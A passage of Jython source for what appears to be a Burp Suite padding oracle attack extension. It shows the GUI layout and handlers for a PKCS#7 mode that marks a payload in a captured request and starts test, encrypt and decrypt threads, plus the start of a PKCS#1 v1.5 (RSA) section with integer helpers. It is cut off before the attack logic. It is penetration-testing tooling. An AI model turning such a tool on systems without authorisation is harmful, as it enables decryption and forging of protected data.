jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelPlaintextPKCS7)
.addComponent(self.__textPlaintextPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelIvPKCS7)
.addComponent(self.__textIvPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jLabelOutPKCS7)
.addComponent(self.__jScrollPaneOutPKCS7,GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jButtonTestPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonEncPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonDecPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonStopPKCS7, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE))
.addGap(50, 50, 50)
.addComponent(self.__jProgressBarPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addGap(20, 20, 20)
)
def stopOperation_PKCS7(self, button):
self.DisplayOutput_PKCS7("Operation halted!\n")
self.gThreadStopPKCS7 = True
self.__jProgressBarPKCS7.setValue(0)
self.__jProgressBarPKCS7.setString("")
def testPayload_PKCS7(self, button):
# Perform input validation
initStatus = self.InputValidation_PKCS7("test")
if(initStatus):
# Start the Test thread
self.__jProgressBarPKCS7.setString("Testing...")
encrypted_string = self.gPayloadPKCS7
self.gOpThreadPKCS7 = threading.Thread(target=self.Test_PKCS7, args=(encrypted_string,))
self.gOpThreadPKCS7.start()
def encryptPayload_PKCS7(self, button):
# Perform input validation
initStatus = self.InputValidation_PKCS7("encrypt")
if(initStatus):
# Start the Encryption Thread
self.__jProgressBarPKCS7.setString("Encrypting...")
self.gOpThreadPKCS7 = threading.Thread(target=self.Encryption_PKCS7)
self.gOpThreadPKCS7.start()
def decryptPayload_PKCS7(self, button):
# Perform input validation
initStatus = self.InputValidation_PKCS7("decrypt")
if(initStatus):
# Start the Decryption Thread
self.__jProgressBarPKCS7.setString("Decrypting...")
encrypted_string = self.gPayloadPKCS7
self.gOpThreadPKCS7 = threading.Thread(target=self.Decryption_PKCS7, args=(encrypted_string,))
self.gOpThreadPKCS7.start()
def clearPayload_PKCS7(self, button):
if self.gHttpRequestRawStringPKCS7 !="":
self.__jEditorPaneReqPKCS7.setText(self.gHttpRequestRawStringPKCS7)
self.gSelectedPayloadPKCS7 = None
# Enabled the format dropdown box and url encode checkbox
self.__jComboBoxFormatPKCS7.setEnabled(True)
self.__jCheckBoxUrlEncodedPKCS7.setEnabled(True)
def selectPayload_PKCS7(self, button):
# Retrieve the selected the payload
payload = self.__jEditorPaneReqPKCS7.getSelectedText().replace("\n", "")
# Stored the selected the payload
self.gSelectedPayloadPKCS7 = payload
if(payload!=None):
# Check whether the payload is url encoded.
if self.__jCheckBoxUrlEncodedPKCS7.isSelected():
self.gIsPayloadUrlEncodedPKCS7 = True
try:
# Get the payload format and convert it to hex
payload = self.ConverToHexFromPayloadFormat(payload, self.__jComboBoxFormatPKCS7.getSelectedItem(), self.gIsPayloadUrlEncodedPKCS7)
if(payload!=None):
# validate whether the payload is hex
unhexlify(payload.encode())
self.gPayloadPKCS7 = payload
self.gPayloadFormatPKCS7 = self.__jComboBoxFormatPKCS7.getSelectedItem()
# Replace the selected payload with #PAYLOAD# so that we can process it during the attack
self.gHttpRequestStringPKCS7 = self.gHttpRequestRawStringPKCS7.replace(self.gSelectedPayloadPKCS7, "#PAYLOAD#")
# Show the selected the payload
bytesDisplay = self.gHttpRequestRawStringPKCS7.encode()
insertionPointChar = chr(167)
bytesDisplay = bytesDisplay.replace(self.gSelectedPayloadPKCS7.encode(), insertionPointChar + self.gSelectedPayloadPKCS7.encode() + insertionPointChar)
self.__jEditorPaneReqPKCS7.setText(bytesDisplay)
# Disabled the format dropdown box and url encode checkbox
self.__jComboBoxFormatPKCS7.setEnabled(False)
self.__jCheckBoxUrlEncodedPKCS7.setEnabled(False)
except Exception as e:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, e, "Exception", JOptionPane.ERROR_MESSAGE)
return
def PKCS7(self, invocation):
# Intialize the variables
self.gHttpRequestRawStringPKCS7=""
self.gHttpRequestStringPKCS7=""
self.gPayloadPKCS7=""
self.gPayloadFormatPKCS7=""
self.gSelectedPayloadPKCS7=None
self.gOpThreadPKCS7 = None
self.gIsPayloadUrlEncodedPKCS7 = False
# enabled the format dropdown box and url encode checkbox
self.__jComboBoxFormatPKCS7.setSelectedIndex(0)
self.__jComboBoxFormatPKCS7.setEnabled(True)
self.__jCheckBoxUrlEncodedPKCS7.setSelected(False)
self.__jCheckBoxUrlEncodedPKCS7.setEnabled(True)
# Get the http request message
invMessages = invocation.getSelectedMessages()
if len(invMessages) == 0:
return
self.gReqResPKCS7 = invMessages[0]
self.gHttpRequestRawStringPKCS7 = self._helpers.bytesToString(self.gReqResPKCS7.getRequest())
self.__jEditorPaneReqPKCS7.setText(self.gHttpRequestRawStringPKCS7)
# Reset all the fields
self.__textPadMessagePKCS7.setText("")
self.__textPlaintextPKCS7.setText("")
self.__textIvPKCS7.setText("")
self.__jTextAreaOutputPKCS7.setText("")
# switch to the PKCS7 tab
self._jPaddingOracleTab.setSelectedComponent(self.__jPanelPKCS7)
parentTab = self._jPaddingOracleTab.getParent()
parentTab.setSelectedComponent(self._jPaddingOracleTab)
# *************************************** PKCS#1 v1.5 ***************************************
# global variables
gReqResPKCS15 = IHttpRequestResponse
gHttpRequestRawStringPKCS15 = ""
gPayloadPKCS15 = ""
gOpThreadPKCS15 = None
gSelectedPayloadPKCS15 = None
gModulusPKCS15=0
gExponentPKCS15=0
gPadMsgSelPKCS15 = ""
gPadMsgPKCS15 = ""
gByteLenPKCS15 = 0
gQueriesPKCS15 = 0
gTimePKCS15 = 0
gIntervalPKCS15 = namedtuple('Interval', ['lower_bound', 'upper_bound'])
gIsPayloadUrlEncodedPKCS15 = False
def DisplayOutput_PKCS15(self, text):
self.__jTextAreaOutputPKCS15.append(text)
def setGUI_PKCS15(self):
self.__jPanelPKCS15 = JPanel()
jPanelLayoutPKCS15 = GroupLayout(self.__jPanelPKCS15)
self.__jPanelPKCS15.setLayout(jPanelLayoutPKCS15)
jPanelLayoutPKCS15.setAutoCreateGaps(True)
jPanelLayoutPKCS15.setAutoCreateContainerGaps(True)
self.__jLabelReqPKCS15 = JLabel("Request")
self.__jScrollPaneReqPKCS15 = JScrollPane()
self.__jEditorPaneReqPKCS15 = JEditorPane()
self.__jEditorPaneReqPKCS15.setEditable(False)
self.__jScrollPaneReqPKCS15.setViewportView(self.__jEditorPaneReqPKCS15)
self.__jButtonClearPayloadPKCS15 = JButton("Clear Selection",actionPerformed=self.clearPayload_PKCS15)
self.__jButtonSelPayloadPKCS15 = JButton("Select Payload",actionPerformed=self.selectPayload_PKCS15)
self.__jLabelFormatPKCS15 = JLabel("Format:")
self.__jComboBoxFormatPKCS15 = JComboBox(['Hex', 'Base64', 'Decimal'])
self.__jComboBoxFormatPKCS15.setSelectedIndex(0)
self.__jCheckBoxUrlEncodedPKCS15=JCheckBox("Url Encoded")
self.__jLabelPublicExpPKCS15 = JLabel("Public Exponent e:")
self.__textPublicExpPKCS15 = JTextField()
self.__textPublicExpPKCS15.setToolTipText("RSA public exponent in decimal")
self.__jLabelPublicModPKCS15 = JLabel("Public Modulus n:")
self.__textPublicModPKCS15 = JTextField()
self.__textPublicModPKCS15.setToolTipText("RSA public modulus in decimal")
self.__jLabelPadMessagePKCS15 = JLabel("Padding Response:")
self.__textPadMessagePKCS15 = JTextField()
self.__textPadMessagePKCS15.setToolTipText("part or full of the valid or invalid padding response, only used in the decryption operation")
self.__jComboBoxPadMsgPKCS15 = JComboBox(['Invalid', 'Valid'])
self.__jComboBoxPadMsgPKCS15.setSelectedIndex(0)
self.__jLabelUpdateIntervalPKCS15 = JLabel("Update Interval:")
self.__jComboBoxUpdateIntervalPKCS15 = JComboBox(['100', '1000', '10000'])
self.__jComboBoxUpdateIntervalPKCS15.setSelectedIndex(0)
self.__jButtonTestPKCS15 = JButton("Test", actionPerformed=self.testPayload_PKCS15)
self.__jButtonDecPKCS15 = JButton("Decrypt", actionPerformed=self.decryptPayload_PKCS15)
self.__jButtonStopPKCS15 = JButton("Stop", actionPerformed=self.stopOperation_PKCS15)
self.__jLabelOutPKCS15 = JLabel("Output")
self.__jTextAreaOutputPKCS15 = JTextArea()
self.__jTextAreaOutputPKCS15.setEditable(False)
self.__jTextAreaOutputPKCS15.setColumns(20)
self.__jTextAreaOutputPKCS15.setRows(5)
self.__jScrollPaneOutPKCS15 = JScrollPane()
self.__jScrollPaneOutPKCS15.setViewportView(self.__jTextAreaOutputPKCS15)
jPanelLayoutPKCS15.setHorizontalGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelReqPKCS15)
.addComponent(self.__jScrollPaneReqPKCS15, GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addGap(300, 300, 300)
.addComponent(self.__jButtonSelPayloadPKCS15)
.addGap(20, 20, 20)
.addComponent(self.__jLabelFormatPKCS15)
.addComponent(self.__jComboBoxFormatPKCS15,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addGap(20, 20, 20)
.addComponent(self.__jCheckBoxUrlEncodedPKCS15)
.addGap(20, 20, 20)
.addComponent(self.__jButtonClearPayloadPKCS15))
.addGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPublicExpPKCS15)
.addComponent(self.__jLabelPublicModPKCS15)
.addComponent(self.__jLabelPadMessagePKCS15)
.addComponent(self.__jLabelUpdateIntervalPKCS15))
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__textPublicExpPKCS15, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPublicModPKCS15, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPadMessagePKCS15, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxUpdateIntervalPKCS15,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jComboBoxPadMsgPKCS15,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addComponent(self.__jLabelOutPKCS15)
.addComponent(self.__jScrollPaneOutPKCS15,GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addGap(240, 240, 240)
.addComponent(self.__jButtonTestPKCS15)
.addGap(165, 165, 165)
.addComponent(self.__jButtonDecPKCS15)
.addGap(165, 165, 165)
.addComponent(self.__jButtonStopPKCS15))
)
jPanelLayoutPKCS15.setVerticalGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addComponent(self.__jLabelReqPKCS15)
.addComponent(self.__jScrollPaneReqPKCS15, GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(15, 15, 15)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jButtonSelPayloadPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jLabelFormatPKCS15)
.addComponent(self.__jComboBoxFormatPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jCheckBoxUrlEncodedPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonClearPayloadPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPublicExpPKCS15)
.addComponent(self.__textPublicExpPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPublicModPKCS15)
.addComponent(self.__textPublicModPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPadMessagePKCS15)
.addComponent(self.__textPadMessagePKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxPadMsgPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelUpdateIntervalPKCS15)
.addComponent(self.__jComboBoxUpdateIntervalPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jLabelOutPKCS15)
.addComponent(self.__jScrollPaneOutPKCS15,GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jButtonTestPKCS15, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonDecPKCS15, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonStopPKCS15, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE))
.addGap(50, 50, 50)
)
def BytesToLong_PKCS15(self, bytes_obj):
return int(hexlify(bytes_obj),16)
def LongToBytes_PKCS15(self, integer):
value = hex(integer).replace('0x','').rstrip("L")
if(len(value)%2 != 0):
value = "0" + value
return unhexlify(value)
# math.ceil and math.floor don't work for large integers
def Floor_PKCS15(self, a, b):
return a // b
def Ceil_PKCS15(self, a, b):
return a // b + (a % b > 0)
def Decode_PKCS15(self, encoded):
encoded = encoded[2:]